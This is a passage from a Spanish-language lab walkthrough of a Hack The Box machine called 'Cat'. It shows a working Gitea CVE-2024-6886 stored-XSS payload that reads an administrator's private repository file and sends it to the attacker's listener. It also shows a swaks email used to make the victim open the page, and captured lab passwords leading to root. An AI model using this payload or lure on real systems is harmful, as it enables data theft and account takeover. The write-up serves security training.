Una vez hayamos establecido el túnel, visitamos http://127.0.0.1:3000 en un navegador de internet y ahora tenemos acceso al sitio interno de Gitea:

Cat 8

Podemos loguear en este sitio con las credenciales de axel (axel:aNdZwgC4tI9gnVXv_e3Q). No obstante, no hay ningún repositorio creado:

Cat 9

Yendo a Explore y luego a Users muestra, como decía el mail, un usuario Administrator:

Cat 10

Pero no podemos ver mucho más.

En la parte inferior de este servicio podemos ver una versión de Gitea: 1.22.0. Buscando por vulnerabilidades para esta versión nos lleva a una vulnerabilidad catalogada como CVE-2024-6886 con un exploit de exploit-db. Esta es otra vulnerabilidad XSS, pero esta vez para Gitea. Los pasos a seguir son claros:

1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:

    <a href=javascript:alert()>XSS test</a>

4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.

Por lo que podemos crear un repositorio y modificar su descripción:

Cat 11

Donde inyectamos el payload XSS:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.16.3:8000/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">App test</a>

Lo que hace este payload es que el usuario afectado por el XSS visite la url http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php (que es el repositorio de testeo mencionado en el mail) y envie el contenido de la visita a http://10.10.16.3:8000 (nuestra máquina de atacantes).

También es necesario crear algún archivo (que puede estar vacío) en el repositorio para que la descripción del repositorio se muestre. Para ello creamos un archivo vacío clickeando en New File:

Cat 12

Creado el archivo, agregamos un simple commit (que en mi caso puse test y descripción del commit test).

Cat 13

Cat 14

Nota
Hay un cronjob borrando el repositorio. Por lo que puede que necesitemos repetir estos pasos si es que ello sucediera.

Ahora necesitamos una manera de activar el payload. Al revisar los puertos abiertos, vimos que el puerto 25 lo estaba. Este puerto es usado por SMTP para servicios de mail en Linux.

axel@cat:~$ ss -nltp | grep 25

LISTEN  0        10             127.0.0.1:25             0.0.0.0:*

Por lo que podríamos enviar un mail al puerto 25 de la máquina víctima a través de nuestro peurto 25. Esto, de nuevo, a través de un Local Port Forwarding por SSH. Salimos de la sesión actual de SSH y nos reconectamos conviertiendo ahora 2 puertos (convertimos el puerto 3000 en nuestro puerto 3000 y puerto 25 en nuestro puerto 25) corriendo:

❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 25:127.0.0.1:25 -L 3000:127.0.0.1:3000 axel@10.10.11.53

No olvidar empezar un servidor temporal HTTP con Python el cual recibirá el payload de XSS:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En otra terminal, en nuestra máquina de atacantes, enviamos un mail usando swaks, adjuntando el repositorio malicioso que contiene el payload XSS. Mandamos este mail a jrobert (la persona que se especificaba en nuestra casilla de mails):

❯ swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: New Test App. Check it" --body "http://localhost:3000/axel/testApp" --server localhost --port 25 --timeout 30s

=== Trying localhost:25...
=== Connected to localhost.
<-  220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Fri, 7 Feb 2025 07:37:29 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
 -> EHLO kali.gunzf0x
<-  250-cat.htb Hello localhost [127.0.0.1], pleased to meet you
<SNIP>
 -> .
<-  250 2.0.0 5177bT4X059595 Message accepted for delivery
 -> QUIT
<-  221 2.0.0 cat.htb closing connection
=== Connection closed with remote host.

Luego de algún tiempo obtenemos algo en nuestra terminal:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [07/Feb/2025 04:37:39] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -

Obtenemos un payload que está claramente url-encodeado. Lo decodeamos en una página como https://www.urldecoder.org/es/ y pasamos el contenido interceptado allí:

Cat 15

Tenemos el contenido del archivo:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

Hay una contraseña: IKw75eR0MR7CMIxhH0.

Revisamos si esta contraseña es la contraseña del usuario root:

axel@cat:~$ su root
Password: IKw75eR0MR7CMIxhH0

root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)

Lo es. GG. Podemos extraer la flag de root en el directorio /root.

~Happy Hacking.